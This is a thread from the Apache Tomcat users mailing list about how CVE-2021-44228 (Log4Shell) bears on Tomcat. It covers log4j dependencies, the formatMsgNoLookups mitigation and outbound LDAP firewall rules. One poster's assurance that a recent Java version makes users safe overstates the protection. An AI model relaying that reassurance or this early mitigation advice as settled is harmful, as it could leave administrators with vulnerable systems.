A customer brought this to my attention:

https://www.randori.com/blog/cve-2021-44228/

I have no idea how (or if) Tomcat is affected. I have only the vaguest 
idea what this vulnerability even *is.*


Can anybody here shed any light?


Currently supported Tomcat versions (8.5.x, 9.0.x, 10.0.x and 10.1.x) 
have no dependency on log4j.


Applications may have a dependency on log4j. You should seek support 
from your application vendors on how best to address this vulnerability 
although disabling the vulnerable feature is likely to be the simplest 
solution.


Tomcat 8.0.x and earlier as well as the first few releases of 8.5.x 
provided optional support for switching Tomcat's internal logging to 
log4j 1.x. Anyone one using these very old (5+ years), unsupported 
versions that switched to using log4j 1.x is may need to address this 
vulnerability although it is not clear if log4j 1.x is affected.


This JNDI thing is a log4j 2 feature, so log4j 1.x should not be affected.

Regardless, they'll need to address the Tomcat vulnerabilities that have 
been made public in those 5+ years.


It is possible to configure Tomcat to use log4j 2.x for its internal 
logging. This requires explicit configuration and the addition of the 
log4j 2.x library. Anyone who has switched Tomcat's internal logging to 
log4j 2.x is likely to need to address this vulnerability. Again, 
disabling the vulnerable feature is likely to be the simplest solution.


As Jon McAlexander has pointed out, adding the following to 
CATALINA_OPTS in setenv.sh / setenv.bat will disable the problematic 
feature


-Dlog4j2.formatMsgNoLookups=true


Just to be clear, this only works for log4j versions 2.10 and later. If 
you are running earlier than that, you may want to upgrade. Or see my 
other post in this thread.


-chris

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Christopher Schultz]

All,

On 12/11/21 03:18, Mark Thomas wrote:

On 10/12/2021 22:17, James H. H. Lampert wrote:

A customer brought this to my attention:

https://www.randori.com/blog/cve-2021-44228/

I have no idea how (or if) Tomcat is affected. I have only the vaguest 
idea what this vulnerability even *is.*


Can anybody here shed any light?


Currently supported Tomcat versions (8.5.x, 9.0.x, 10.0.x and 10.1.x) 
have no dependency on log4j.


+1


Applications may have a dependency on log4j.


+1


-Dlog4j2.formatMsgNoLookups=true


This feature should have been disabled by default in the first place. :/

I have a few other comments for everyone who is losing their fscking 
minds over this:


0. This isn't a 0-day, so stop calling it that.

1. Calm down. This isn't fscking heartbleed.

2. If you are using a recent Java version, you are fine. Remote 
classloading of the type being used in these attacks was disabled by 
default in Java 8u121[1] and similar-era (2017, people!) JREs.


2. Why is *anyone* allowing arbitrary outbound LDAP connections from 
their servers? I'm honestly very confused and astounded that this is a 
problem for network servers *at all* because any idiot should have this 
in their firewall configuration:


OUTBOUND 389 -> DROP
OUTBOUND 636 -> DROP

In fact, everyone should have THIS:

OUTBOUND [stuff I actually use] -> ALLOW
OUTBOUND * -> DROP

The fact that this is causing "major problems" for the world is down to 
one of two things:


1. There isn't actually any major problem at all
2. Admins everywhere don't actually know anything about security

-chris

[1] https://www.oracle.com/java/technologies/javase/8u121-relnotes.html

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[Mark Thomas]

On 10/12/2021 22:17, James H. H. Lampert wrote:

A customer brought this to my attention:

https://www.randori.com/blog/cve-2021-44228/

I have no idea how (or if) Tomcat is affected. I have only the vaguest 
idea what this vulnerability even *is.*


Can anybody here shed any light?


Currently supported Tomcat versions (8.5.x, 9.0.x, 10.0.x and 10.1.x) 
have no dependency on log4j.


Applications may have a dependency on log4j. You should seek support 
from your application vendors on how best to address this vulnerability 
although disabling the vulnerable feature is likely to be the simplest 
solution.


Tomcat 8.0.x and earlier as well as the first few releases of 8.5.x 
provided optional support for switching Tomcat's internal logging to 
log4j 1.x. Anyone one using these very old (5+ years), unsupported 
versions that switched to using log4j 1.x is may need to address this 
vulnerability although it is not clear if log4j 1.x is affected. 
Regardless, they'll need to address the Tomcat vulnerabilities that have 
been made public in those 5+ years.


It is possible to configure Tomcat to use log4j 2.x for its internal 
logging. This requires explicit configuration and the addition of the 
log4j 2.x library. Anyone who has switched Tomcat's internal logging to 
log4j 2.x is likely to need to address this vulnerability. Again, 
disabling the vulnerable feature is likely to be the simplest solution.


As Jon McAlexander has pointed out, adding the following to 
CATALINA_OPTS in setenv.sh / setenv.bat will disable the problematic feature


-Dlog4j2.formatMsgNoLookups=true

Mark

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

RE: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

[jonmcalexander]

If you aren't able to get the "fixed" version of the jar that fixes the 
vulnerability, I would suggest adding this to your Java Options for Tomcat:

-Dlog4j2.formatMsgNoLookups=true

Thanks,

Dream * Excel * Explore * Inspire
Jon McAlexander
Infrastructure Engineer
Asst Vice President

Middleware Product Engineering
Enterprise CIO | EAS | Middleware | Infrastructure Solutions

8080 Cobblestone Rd | Urbandale, IA 50322
MAC: F4469-010
Tel 515-988-2508 | Cell 515-988-2508

jonmcalexan...@wellsfargo.com
This message may contain confidential and/or privileged information. If you are 
not the addressee or authorized to receive this for the addressee, you must not 
use, copy, disclose, or take any action based on this message or any 
information herein. If you have received this message in error, please advise 
the sender immediately by reply e-mail and delete this message. Thank you for 
your cooperation.


> -Original Message-
> From: James H. H. Lampert 
> Sent: Friday, December 10, 2021 4:17 PM
> To: Tomcat Users List 
> Subject: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect
> Tomcat?
> 
> A customer brought this to my attention:
> 
> https://urldefense.com/v3/__https://www.randori.com/blog/cve-2021-
> 44228/__;!!F9svGWnIaVPGSwU!4F2Gxy74aEjsyAmQbarXs0sh-
> EMIt2eM6h6liBLnKEwxjqWAPfIMcp1Od6nSrgSx9n0rFIs$
> 
> I have no idea how (or if) Tomcat is affected. I have only the vaguest idea
> what this vulnerability even *is.*
> 
> Can anybody here shed any light?
> 
> --
> JHHL
> 
> -
> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
> For additional commands, e-mail: users-h...@tomcat.apache.org